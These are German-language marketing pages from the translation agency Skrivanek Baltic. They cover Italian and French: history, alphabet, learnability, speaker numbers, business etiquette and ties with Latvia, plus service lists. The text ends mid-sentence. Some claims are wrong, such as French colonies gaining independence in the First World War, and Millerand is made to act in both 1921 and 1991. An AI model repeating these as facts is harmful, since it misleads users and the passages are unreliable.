Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE ITALIENISCHE SPRACHE Italienisch ist eine romanische Sprache aus der indogermanischen Sprachfamilie, die sich aus dem Vulgärlatein entwickelt hat. Italienisch wird als direktester Nachfahre des Lateinischen angesehen. Die Ursprünge der italienischen Sprache lassen sich bis ins 1. Jahrhundert v. Chr. zurückverfolgen. Sie hat sich aus der lateinischen Umgangssprache entwickelt, die Amtssprache im alten Rom war. Das Italienische in seiner schriftlichen Form wurde erstmals im 10. Jahrhundert nach Christus in Form von Notizen und kurzen Texten erfasst. Das älteste Denkmal mit italienischer Schrift wird auf das Jahr 960 datiert. Italienisch ist Amtssprache in Italien und in der Europäischen Union und Minderheitensprache in zwei EU Mitgliedsländern, Kroatien und Slowenien. Neben Deutsch, Englisch und Französisch wird es am häufigsten in der EU benutzt. Italienisch ist keine internationale Verkehrssprache wie Englisch, Französisch oder Spanisch, wird aber in den Mittelmeerländern häufig gesprochen und ist, gemessen an der Zahl der Lernenden, eine der beliebtesten Sprachen der Welt. Für Kunsthistoriker und Musiker ist es von Vorteil Italienisch zu können. Auch in der Gastronomie spielt es eine große Rolle. Italienisch hat auf fast alle Weltsprachen abgefärbt, insbesondere in den oben genannten Bereichen. Es zeigt wie unglaublich machtvoll die italienische Kultur in der Geschichte Europas war, vom Römischen Reich bis hin zur Renaissance und der Neuzeit. Das literarische Italienisch basiert auf dem toskanischen (florentinischen) Dialekt, der im 13. und 14. Jahrhundert von Autoren wie Dante Alighieri, Giovanni Boccaccio und Francesco Petrarca verbreitet wurde. Lange Zeit gab es keine Schriftsprache im Italienischen und die Autoren schrieben in ihren eigenen lokalen Dialekten. Jede Stadt in Italien hatte ihren eigenen Dialekt, denn vor einigen Jahrhunderten galten viele Städte als eigene Stadtstaaten. Im Französischem gibt es etwa 3000 Entlehnungen aus dem Italienischen. Die Dialekte der Nachbarländer Frankreich, Kroatien und Slowenien sind stark vom Italienischen beeinflusst. Maltesisch hat viele Entlehnungen aus dem Italienischen. Heutzutage ist Italienisch die Arbeitssprache in der Vatikanstadt und hat in der gesamten katholischen Welt eine große Bedeutung. Im Italienischen werden Artikel vor Substantiven verwendet, um das Geschlecht und ob das Nomen in Einzahl oder Mehrzahl steht anzuzeigen. Feminine Nomen haben den Artikel „la“ und maskuline Nomen „il“. Feminine Pluralnomen werden mit dem Artikel „le“, maskuline Pluralnomen mit „i“ geschrieben. Der unbestimmte feminine Artikel bildet sich aus „una“ und das maskuline Gegenstück aus „un“. Die sprachliche Vielfalt in Italien ist größer als in anderen romanischsprachigen Ländern. Das literarische Italienisch weist viele Ähnlichkeiten zum Spanischen und Portugiesischen sowie zum Piemontesischen und Neapolitanischen auf. Die piemontesischen Dialekte sind näher am Französischen als am Italienischen. Toskanisch gilt immer noch als reinster literarischer italienische Dialekt, da es dem klassischen Latein am ähnlichsten ist. Die Einigung Italiens im Jahr 1861 hatte nicht nur politische Nachwirkungen, sondern wirkte sich auch erheblich auf soziale, wirtschaftliche und kulturelle Veränderung aus. Mit der Einführung der Schulpflicht wurde die Alphabetisierung immer wichtiger und viele Menschen vergaßen durch das Erlernen der Staatssprache ihren eigenen Dialekt. Italienisch wird in vielen Schulen und Universitäten auf der ganzen Welt unterrichtet, allerdings selten als erste Fremdsprache. Die Technologien des 21. Jahrhunderts tragen zur Verbreitung der italienischen Sprache bei, da den Menschen neue und einfache Möglichkeiten geboten werden, Italienisch sprechen, lesen und schreiben zu lernen. Nach Angaben des italienischen Außenministeriums wollen jedes Jahr mehr als 200. 000 ausländische Studenten Italienisch lernen. DAS ITALIENISCHE ALPHABET Das lateinische Alphabet verbreitete sich während des Römischen Reiches und blieb auch nach dessen Fall bestehen. Bei der Entwicklung der Schriftsysteme, benutzten die europäischen Länder das lateinische Alphabet. Dies taten auch die Italiener im 10. Jahrhundert. Entweder wurde das lateinische Alphabet überarbeitet, um neue Buchstaben passend zu den Phonemen hinzuzufügen, oder es wurden einige Buchstaben herausgenommen. Das italienische Alphabet besteht aus 21 Buchstaben. Die Buchstaben j, k, w, x und y werden traditionell aus dem Alphabet genommen, auch wenn sie in Fremdwörtern vorkommen. Das italienische Alphabet basiert auf dem lateinischen Alphabet: Es hat 5 Vokale (a, e, i, o, u) und 16 Konsonanten (b, c, d, f, g, h, l, m, n, p, q, r, s, t, v, z). WIE SCHWIERIG IST DIE ITALIENISCHE SPRACHE? Wer hat nicht schon einmal daran gedacht, Italienisch zu lernen? Schon das Hören von italienischer Musik weckt das Interesse an dieser schönen, lyrischen und klangvollen Sprache. Sprachwissenschaftler sind der Meinung, dass Italienisch eine der am leichtesten zu erlernenden Sprachen ist und es überrascht deshalb nicht, dass es eine der beliebtesten Sprachen zum Lernen ist. Man braucht 25 Wochen, um auf italienisch Konversationen führen zu können, wenn man 24 Stunden pro Woche lernen würde. Die italienische Aussprache ist recht einfach, sie ist schön und melodisch. In den meisten Fällen werden die Wörter so ausgesprochen, wie sie geschrieben werden. Italienisch ist einfacher für diejenigen, die bereits eine der romanischen Sprachen (Französisch, Spanisch oder Portugiesisch) beherrschen. Grammatikalische Aspekte könnten einige Schwierigkeiten verursachen, denn jede Wortgruppe im Italienischen hat ein Geschlecht. Es ist schwierig, Doppelkonsonanten in der Sprache zu unterscheiden und sie können sogar die Wortbedeutung verändern. Daher ist praktischer Unterricht, Musik, Poesie, Reisen nach Italien und Hingabe erforderlich, um Italienisch zu lernen. WO UND WIE VIELE MENSCHEN SPRECHEN ITALIENISCH? Italienisch ist die Muttersprache von 67 Millionen Menschen auf der ganzen Welt. Es ist die Amtssprache in Italien, San Marino und der Vatikanstadt sowie eine der 24 Amts- und Arbeitssprachen in der Europäischen Union. In Kroatien und Slowenien wird es als Minderheitensprache gesprochen. Die größten Minderheiten italienischsprachiger Menschen lebt in Brasilien (rund 25 Millionen), Argentinien (2,4 Millionen), USA (8 Millionen), Kanada (1,5 Millionen), Uruguay (1,5 Millionen) und Australien (weniger als 1 Million). DOLMETSCHER UND ÜBERSETZER FÜR DIE ITALIENISCHE SPRACHE Das professionelle Dolmetscher- und Übersetzerteam von Skrivanek Baltic bietet sowohl Übersetzungen von Standarddokumenten als auch komplexe technische Übersetzungen und notarielle Übersetzungen an. Das Übersetzungsbüro Skrivanek bietet auch Korrekturlesen und stilistische Verbesserung von Texten in italienischer Sprache an. Unsere Linguisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Am häufigsten übersetzen wir für Geschäftskunden folgende Texte aus dem Italienischen und ins Italienische: Inhalte von Websites und E-Commerce, Anpassung von Werbeslogans, Kooperationsvereinbarungen, Rechtsakte, Gerichtsurteile und Geschäftsunterlagen. Wir übersetzen auch sequentiell bei geschäftlichen oder anderen Gesprächen, Konferenzen und auf der Online-Plattform Zoom. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. DIE ITALIENISCHE SPRACHE IN DER GESCHÄFTSWELT Die geografische Lage Italiens ist sehr wichtig, da sie das Land zu einem strategischen Logistikzentrum und zum Tor des europäischen Binnenmarkt macht. Richtige Sprache und Gestik sind besonders in Italien von entscheidender Bedeutung. Handgesten und Blickkontakt gehören zu den wichtigsten Elementen der italienischen Kommunikation. Distanz oder sich zu entfernen könnte als unhöflich wahrgenommen werden. Italiener handeln oft nach ihren Gefühlen und Vertrauen ist für die Entwicklung guter Geschäftsbeziehungen entscheidend. Man sollte während eines Treffens nicht ungeduldig sein, da dies von einem Geschäftspartner als respektlos angesehen werden kann. Man sollte auf jeden Fall reden und sein Interesse an italienischem Essen, Kunst, Mode oder Sport zeigen. Auch wenn es nichts mit dem Geschäftstreffen zu tun hat. Es gibt einen beliebten Witz: Um einen Italiener zu unterbrechen, muss man einfach seine Hände nehmen. Sie müssen Ihren Geschäftspartner vor dem Treffen darüber informieren, dass Sie kein Italienisch sprechen. Sie müssen in einem Brief, einer E-Mail oder einer Nachricht angeben, welche Sprache Sie sicher beherrschen. Oft sprechen italienische Unternehmer kein Englisch und suchen gerne die Dienste eines professionellen Dolmetschers auf. Auch wenn es italienische Unternehmer gibt, die sowohl Englisch als auch Französisch sprechen, wird Italienisch immer die dominierende Sprache bleiben. Italiener schätzen es stets, wenn jemand trotz Schwierigkeiten versucht, in ihrer Muttersprache zu sprechen. Der Schlüssel für erfolgreiche Geschäftsbeziehungen in Italien ist das Erlernen der italienischen Sprache. Außerhalb Italiens spielt die italienische Sprache in der Wirtschaft keine große Rolle, außer in den Bereichen Musik, Kunst, Wissenschaft und Kulinarik. ITALIENER IN LETTLAND Lettland und Italien feierten 2021 wichtige Geburtstage - 100 Jahre seit der Aufnahme diplomatischer Beziehungen und 30 Jahre seit der Anerkennung der wiederhergestellten Unabhängigkeit Lettlands und der Erneuerung der diplomatischen Beziehungen. 1992 eröffnete Italien als eines der ersten Länder in Riga seine Botschaft. Lettland und Italien arbeiten eng im Bereich der kulturellen Bildung zusammen. Im Rahmen von Programmen der Europäischen Union wurden mehrere Kooperationsabkommen zwischen Universitäten in Lettland und Italien geschlossen. Gleichzeitig vergibt die italienische Regierung Stipendien an lettische Studenten in Italien. Die lettische Kulturakademie, die Kunstakademie Lettlands und die lettische Musikakademie Jāzeps Vītols arbeiten eng mit italienischen Bildungseinrichtungen zusammen. Es gibt mehr als hundert italienische Austauschstudenten aus dem Erasmus-Programm und Vollzeitstudenten, die an lettischen Universitäten studieren. Im Jahr 2021 studierten 66 italienische Studenten an der Universität von Lettland, 23 von ihnen waren Vollzeitstudenten, die übrigen studierten nur ein Semester im Rahmen des Erasmus-Programms. Die meisten italienischen Studenten studieren an der Stradiņš-Universität Riga, mit 96 Vollzeitstudenten. Fast 30 italienische Studenten studieren an der Technischen Universität Riga. Seit 2005 bietet die lettische Kulturakademie den Studiengang Interkulturelle Kommunikation mit dem Unterprogramm Interkulturelle Kommunikation Lettland-Italien an. Im Bereich der Kultur werden jedes Jahr lettische Filme bei den größten Filmfestivals in Italien eingereicht: Bei den Internationalen Filmfestspielen von Venedig, den Internationalen Filmfestspielen von Rom, dem Trento Film Festival, den Filmfestspielen von Triest und dem Turiner Film Festival. Lettland und Italien arbeiten in der Verteidigung eng zusammen, da Italien als Teil der NATO Canada Battle Group in Lettland mitwirkt. Italien beteiligt sich auch häufig an der NATO Luftraumüberwachung im Baltikum UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE ITALIENISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachkurse; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Italienisch; Italienisch nach Lettisch; Estnisch nach Italienisch; Italienisch nach Estnisch; Litauisch nach Italienisch; Italienisch nach Litauisch; Russisch nach Italienisch; Italienisch nach Russisch; Tschechisch nach Italienisch; Italienisch nach Tschechisch; Polnisch nach Italienisch; Italienisch nach Polnisch; Ukrainisch nach Italienisch; Italienisch nach Ukrainisch; Englisch nach Italienisch; Italienisch nach Englisch; Italienisch nach Spanisch; Spanisch nach Italienisch; Deutsch nach Italienisch; Italienisch nach Deutsch; Französisch nach Italienisch; Italienisch nach Französisch; Dänisch nach Italienisch; Italienisch nach Dänisch; Norwegisch nach Italienisch; Italienisch nach Norwegisch; Schwedisch nach Italienisch; Italienisch nach Schwedisch; Finnisch nach Italienisch; Italienisch nach Finnisch und andere. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE ITALIENISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen in italienischer Sprache; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen in italienischer Sprache; Italienische Sprachkurse; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Italienisch; Italienisch nach Lettisch; Estnisch nach Italienisch; Italienisch nach Estnisch; Litauisch nach Italienisch; Italienisch nach Litauisch; Russisch nach Italienisch; Italienisch nach Russisch; Tschechisch nach Italienisch; Italienisch nach Tschechisch; Polnisch nach Italienisch; Italienisch nach Polnisch; Ukrainisch nach Italienisch; Italienisch nach Ukrainisch; Englisch nach Italienisch; Italienisch nach Englisch; Italienisch nach Spanisch; Spanisch nach Italienisch; Deutsch nach Italienisch; Italienisch nach Deutsch; Französisch nach Italienisch; Italienisch nach Französisch; Dänisch nach Italienisch; Italienisch nach Dänisch; Norwegisch nach Italienisch; Italienisch nach Norwegisch; Schwedisch nach Italienisch; Italienisch nach Schwedisch; Finnisch nach Italienisch; Italienisch nach Finnisch und andere. --- > Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen, Dolmetschen und andere Dienste für die französische Sprache. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS FRANZÖSISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS FRANZÖSISCHE? Die Kosten für die Übersetzung vom und ins Französische werden für jeden Auftrag individuell berechnet. Die Preisberechnung setzt sich aus mehreren auftragsspezifischen Parametern zusammen. Der Preis für sequentielle und simultanes Dolmetschen richtet sich beispielsweise nach der Zeit, die für die Erbringung der Dienstleistung aufgewendet wird, den Reisekosten und dem Tagegeld. Beim Simultandolmetschen werden die Kosten für die technische Unterstützung je nach Anzahl der Teilnehmer an der Veranstaltung usw. zusätzlich berechnet. Der Preis für schriftliche Übersetzungen setzt sich zusammen aus dem Umfang und der Lesbarkeit des zu übersetzenden Materials, der Abgabefrist, der Komplexität der Fachterminologie, den Textwiederholungen, der Formatierung und dem Umfang der Bilder und Grafiken, der Korrektur sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für Übersetzungen und Dolmetschen (simultan und sequentiell), Lokalisierung und Adaption vom und ins Französische ein fester Bestandteil unserer Kundenverträge. Die Projektmanager des baltischen Übersetzungsbüros Skrivanek bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Das Preisangebot wird in etwa 30 Minuten erstellt. Der Preis für Übersetzungen setzt sich nach dem Umfang des übersetzten Materials, den Wiederholungen im Text, der Komplexität der Grafiken und anderen Parametern zusammen. Wir warten auf Ihr Material in unserer E-Mail, damit wir ein Preisangebot unterbreiten können. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Französische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in französischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Französisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER FRANKREICH UND DIE FRANZÖSISCHE SPRACHE Französisch klingt sich ziemlich schwer. Sie gilt als eine der logischsten, reichsten, klangvollsten und romantischsten Sprachen der Welt. Alles auf Französisch hört sich wunderschön an, ganz egal, ob es sich dabei um eine Lebensweisheit, eine Liebeserklärung, eine wissenschaftliche Rede oder die obszönsten Wörter handelt. Französisch hat weltweit eine bedeutende Rolle - es ist die vierthäufigste Internetsprache, die dritthäufigste Sprache in der Geschäftswelt und die zweithäufigste Sprache in den internationalen Massenmedien. Die Internationale Organisation der Frankophonie schätzt, dass die Zahl der Französischsprachigen bis 2060 auf 767 Millionen ansteigen wird. Französisch ist die Amts- und Arbeitssprache der Vereinten Nationen, der Europäischen Union, der UNESCO, der NATO, des Internationalen Olympischen Komitees, des Internationalen Roten Kreuzes und der internationalen Gerichte. TV5MONDE ist der wichtigste und einzige globale Fernsehsender in französischer Sprache, der in 198 Ländern der Welt zu empfangen ist, darunter China, Kuba und Nordkorea. Der am häufigsten verwendete Buchstabe im Französischen ist das e. Französisch ist die internationale Sprache der kulinarischen Künste, der Mode, des Theaters, der bildenden Künste, des Tanzes und der Architektur. Französischkenntnisse öffnet Türen zu erstaunlichen französischen literarischen Werken, Filmen und Musik in der Originalsprache. Französisch ist die Muttersprache von Victor Hugo, Molière, Édith Piaf, Jean-Paul Sartre, Alain Delon und Zinedine Zidane. Der Roman Les Misérables ist das Meisterwerk des französischen Schriftstellers Victor Hugo, das in zahlreiche Sprachen übersetzt wurde. Interessanterweise ist der längste Satz in diesem Roman gleichzeitig der längste in der gesamten Literatur, er besteht aus 823 Wörtern ohne Satzzeichen, nur mit einem Punkt am Ende. Französischkenntnisse bieten die Möglichkeit, an berühmten französischen Universitäten und Wirtschaftsschulen zu studieren, die zu den besten Bildungseinrichtungen in Europa und der Welt gehören. Frankreich ist ein beliebtes Reiseziel und zieht jedes Jahr mehr als 87 Millionen Besucher an. Wenn man auch nur ein bisschen Französisch kann, wird es den Besuch in Paris und dem Rest Frankreichs deutlich angenehmer gestalten. Darüber hinaus bietet es einen Einblick in die französische Kultur und Lebensweise. Französisch kann bei Reisen in andere französischsprachige Regionen der Welt nützlich sein. Diese Sprache zu lernen bedeutet in erster Linie, eine schöne, lebendige und melodische Sprache zu lernen, die oft als die Sprache der Liebe bezeichnet wird. Französisch ist auch eine analytische Sprache, die Ihre Ideen strukturiert und Ihre logischen Fähigkeiten verbessert, was in Diskussionen und Gesprächen nützlich ist. DAS FRANZÖSISCHE ALPHABET Das geschriebene Französisch verwendet seit dem 9. Jahrhundert das lateinische Alphabet. Er wurde geändert und besteht jetzt aus 26 Buchstaben: sechs Vokale (a, e, i, o, u, y) und 20 Konsonanten (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). Heutzutage gibt es mehr französische Phoneme als lateinische Buchstaben (26 Buchstaben entsprechen 35 Phonemen). Viele Buchstaben können diakritische Zeichen haben, vor allem Kleinbuchstaben. BRAILLE Die Brailleschrift ist ein Schriftsystem, das von blinden oder sehbehinderten Menschen verwendet wird, um schreiben und lesen zu können. Diese Schreibmethode wurde 1821 von einem Franzosen namens Louis Braille erfunden. Braille verlor sein Augenlicht, als er drei Jahre alt war, als Folge eines häuslichen Unfalls. Als er zehn Jahre alt war, hatte er die Möglichkeit, am Nationalen Institut für blinde Jugendliche in Paris zu studieren, das eine der ersten Bildungseinrichtungen dieser Art war. Die blinden Schüler des Nationalen Instituts für blinde Jugendliche mussten das Lesen nach einem System lernen, das der Gründer des Instituts, Valentin Haüy, entwickelt hatte. Das Lesesystem verwendete einen Kupferdraht, der zwischen zwei Papierstücken eingeklebt war. Diese Methode hatte mehrere Nachteile. Erstens konnten die Schüler das Schreiben nicht lernen und zweitens enthielt ein Buch viele verschiedene Arten von Texten. Die Bücher waren ziemlich dick und schwer, sie konnten bis zu zehn Kilogramm wiegen. Das Institut besaß nur drei Bücher dieser Art. 1821 besuchte der ehemalige Hauptmann der französischen Armee, Charles Barbier, das Nationale Institut für blinde Jugendliche in Paris. Irgendwann verlangte Napoleon von jemandem, ein Schreibsystem zu erfinden, mit dem die Soldaten nachts, in völliger Dunkelheit und Stille, ohne Lichtquelle, miteinander kommunizieren konnten. Zu diesem Zweck erfand Barbier die „Nachtschrift“, bei der die Buchstaben auf dem Papier durch zwölf Löcher in verschiedenen Kombinationen markiert wurden. Als Barbier dann das Nationale Institut für blinde Jugendliche besuchte, lehrte er den Schülern die „Nachtschrift“. Im selben Jahr begann Braille mit der Entwicklung einer eigenen Schreibmethode, die sich an der „Nachtschrift“ orientierte und die er 1824 im Alter von nur fünfzehn Jahren vervollständigte. Der Hauptunterschied bestand darin, dass er sechs statt zwölf Punkte verwendete, die er in drei Reihen mit je zwei Punkten aufteilte. Auf diese Weise konnte ein Buchstabe mit einer Berührung des Fingers gelesen werden, was den Lesevorgang beschleunigte. Es war auch einfacher, dieses Schriftsystem zu lernen. Ein wesentlicher Vorteil gegenüber dem Schriftsystem von Valentin Haüy war, dass man mit der Brailleschrift nicht nur lesen, sondern auch schreiben lernen konnte. Später erfand Braille auch eine Schreibmethode für mathematische und musikalische Noten, die auf seinem Schriftsystem basierte. Das erste Buch in Blindenschrift wurde 1829 veröffentlicht. Zehn Jahre später wurde ein Buch über die Brailleschrift und ihre Verwendung veröffentlicht. Er war unter seinen Schülern am Nationalen Institut für blinde Jugendliche in Paris ein anerkannter Lehrer. Zwei Jahre nach seinem Tod wurde die Brailleschrift in Frankreich offiziell anerkannt. 1878 wurde die Brailleschrift als internationales Schriftsystem für Sehbehinderte anerkannt. WIE SCHWIERIG IST DIE FRANZÖSISCHE SPRACHE? Zurzeit ist Französisch die am zweithäufigsten gelernte Sprache der Welt - rund 125 Millionen Menschen lernen sie in verschiedenen Bildungseinrichtungen. Es handelt sich um eine der wenigen Sprachen, die überall auf der Welt in einer Bildungseinrichtung gelernt werden können. 500 Tausend Französischlehrer leben außerhalb Frankreichs. In einer kürzlich durchgeführten Studie der Online-Sprachlernplattform Duolingo wurde festgestellt, dass Französisch die am zweithäufigsten gelernte Sprache auf der Plattform ist. Französisch ist eine der zehn Sprachen, die das Foreign Service Institute als leicht erlernbar einstuft. Die meisten Schüler bräuchten ungefähr 23-24 Wochen oder 600 Unterrichtsstunden, um es zu lernen. WO UND WIE VIELE MENSCHEN SPRECHEN FRANZÖSISCH? Das Französische wurde im Mittelalter dank des massiven Einflusses des Königreichs Frankreich zu einer internationalen Sprache. Sie löste im 17. Jahrhundert das Latein als Lingua Franca der gebildeten Europäer ab und wurde im 18. Jahrhundert zur wichtigsten Sprache der Diplomatie und der Geheimdienste in Europa. Zunächst waren die meisten französischsprachigen Länder französische Kolonien. Der französische Kolonialismus vom 17. bis 19. Jahrhundert hat die französische Sprache in vielen Regionen der Welt verbreitet. Am Ende des 18. und zu Beginn des 19. Jahrhunderts verlor Frankreich infolge von Kriegshandlungen die Kontrolle über die meisten seiner Kolonien. Das zweite französische Kolonialreich entstand Ende des 19. Jahrhunderts, als Frankreich die Kontrolle über mehrere Länder in Nordafrika sowie über Senegal, Côte d'Ivoire (Elfenbeinküste) und Mali erlangte. Während des Ersten Weltkriegs erlangten die meisten französischen Kolonien ihre Unabhängigkeit, dennoch blieb Französisch als eine ihrer Hauptsprachen. In 29 frankophonen Ländern in Europa, Afrika, Kanada, den USA und Asien wird Französisch gesprochen. Es ist die offizielle Sprache der Internationalen Organisation der Frankophonie. Die Frankophonie umfasst alle Ländern der Welt, deren Amtssprache Französisch ist oder in denen ein erheblicher Teil der Bevölkerung Französisch spricht oder in denen Französisch und die französische Kultur ein bedeutendes historisches und kulturelles Erbe hinterlassen haben. 88 Länder und Territorien auf fünf Kontinenten sind Mitglied in dieser Organisation. Französisch ist die Muttersprache von etwa 80 Millionen Menschen, aber weltweit gibt es etwa 300 Millionen Sprecher. Sie ist Amtssprache in Frankreich, Belgien, der Schweiz, Monaco, Luxemburg, Kanada, Haiti, Vanuatu und 21 afrikanischen Ländern. Mit rund 115 Millionen Menschen leben die meisten Französischsprecher in Afrika. Die größten französischsprachigen Minderheiten leben in Algerien, Argentinien, Australien, Chile, Neuseeland, Kanada, Marokko, Mexiko, Tunesien und Uruguay. Auch nach der Unabhängigkeit von ehemaligen französischen Kolonien, benutzen diese Französisch als Kompromiss zwischen den einheimischen Sprachen. DOLMETSCHER UND ÜBERSETZER FÜR DIE FRANZÖSISCHE SPRACHE Das hervorragende Dolmetscher- und Übersetzerteam von Skrivanek Baltic übersetzt seit mehr als 25 Jahren Standarddokumente, Dokumente der Institutionen der Europäischen Union und der größten nichtstaatlichen Organisationen der Welt, komplexe medizinische und technische Texte sowie notarielle Dokumente. Das Übersetzungsbüro Skrivanek Baltic bietet auch das Korrekturlesen und die stilistische Verbesserung von Texten in französischer Sprache sowie die Erstellung von SEO-Inhalten durch Anpassung an den französischen Markt oder die einzigartige Region Québec in Kanada und die französische Mentalität. Unsere Linguisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Am häufigsten übersetzen wir für Geschäftskunden vom und ins Französische: Websites und E-Commerce-Inhalte, Inhalte für digitales Marketing und Adaption von Meta-Elementen, Kooperationsverträge, Rechtsakte, Gerichtsurteile und Geschäftsunterlagen. Wir dolmetschen sequentiell bei jeder Art von Gerichtsverhandlung, hochrangige internationale Konferenzen und Veranstaltungen auf Zoom und anderen Online-Plattformen. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. DIE FRANZÖSISCHE SPRACHE IN DER GESCHÄFTSWELT Rund 300 Millionen Menschen auf der Welt sprechen Französisch, es ist die drittbeliebteste Sprache in der Geschäftswelt. In Anbetracht des demografischen und wirtschaftlichen Wachstums in den französischsprachigen Regionen, vor allem in Afrika, werden diese Zahlen in den nächsten Jahren mit Sicherheit steigen. Französischkenntnisse ermöglichen es, im Kreis der französischsprachigen Kunden aufgenommen zu werden. Es eignet sich hervorragend für diplomatische Arbeiten, in internationalen Organisationen und im Bank- und Finanzwesen. Französisch ist eine wichtige Sprache, wenn man vor hat, in Nordafrika oder Afrika im Allgemeinen Geschäfte zu machen. Französisch zu lernen kann für jeden Unternehmer enorme Vorteile bringen. Frankreich bietet ein günstiges Umfeld für Unternehmen. Sein hochentwickelter Finanzmarkt und seine hochqualifizierten Arbeitskräfte machen es zu einem attraktiven Standort für Unternehmen. Außerdem ist Frankreich eines der meistbesuchten Länder der Welt und sein kultureller Einfluss wird weiterhin geschätzt. Frankreich macht das Unternehmertum als einer der größten Handelsmärkte in Europa und Zugang zum europäischen Binnenmarkt ziemlich attraktiv. Die Hauptstadt Paris zählt zu den wichtigsten Finanzzentren Europas. Auch wenn in den meisten Ländern der Europäischen Union Englisch als Hauptgeschäftssprache gilt, wird von ausländischen Unternehmern in Frankreich erwartet, dass sie zumindest über Grundkenntnisse der französischen Sprache verfügen. Man muss nicht unbedingt Französisch sprechen können, aber wenn man nicht mal auf Französisch grüßen möchte, kann das als unhöflich wahrgenommen werden. BEZIEHUNGEN ZWISCHEN LETTLAND UND FRANKREICH Die Geschichte der diplomatischen Beziehungen zwischen Lettland und Frankreich ist mehr als 100 Jahre alt. Dank Alexandre Millerand, dem damaligen französischen Staatspräsidenten, wurde Lettland de jure (gesetzlich) anerkannt. Frankreich hat auch die Eingliederung Lettlands als Teil der Sowjetunion nie anerkannt. Die diplomatischen Beziehungen zwischen Lettland und Frankreich wurden 1991 erneuert. Der damalige französische Staatspräsident Alexandre Millerand war der erste westliche Regierungschef, der Lettland nach der Erlangung der Unabhängigkeit besuchte. Die Zusammenarbeit zwischen beiden Ländern entwickelt sich weiter, sowohl auf bilateraler Ebene als auch im Rahmen der Europäischen Union und der NATO. Beide Länder haben einen Aktionsplan für den Zeitraum 2018-2022 unterzeichnet, der konkrete Maßnahmen zur Verbesserung der Zusammenarbeit zwischen beiden Ländern vorsieht. Im Jahr 1997 unterzeichneten beide Länder ein Kooperationsabkommen in den Bereichen Kultur, Bildung, Wissenschaft und Technologie. Das französische Institut in Lettland spielt eine wichtige Rolle bei der Erleichterung und Konsolidierung der Zusammenarbeit. Der Tag der Frankophonie ist in Riga und anderen Regionen Lettlands zu einer Tradition geworden. Auch im Bildungsbereich arbeiten beide Länder erfolgreich zusammen. Man kann an der Jules Verne Schule in Riga Französisch lernen. Außerdem vergibt die französische Regierung jedes Jahr Stipendien an lettische Studenten und mehrere Tausend Studenten in Lettland lernen Französisch. Frankreich gilt als ein wichtiger wirtschaftlicher Handelspartner Lettlands. Auch die lettische Agentur für Investition und Entwicklung ist in Frankreich tätig. Auch in der Verteidigung besteht eine enge 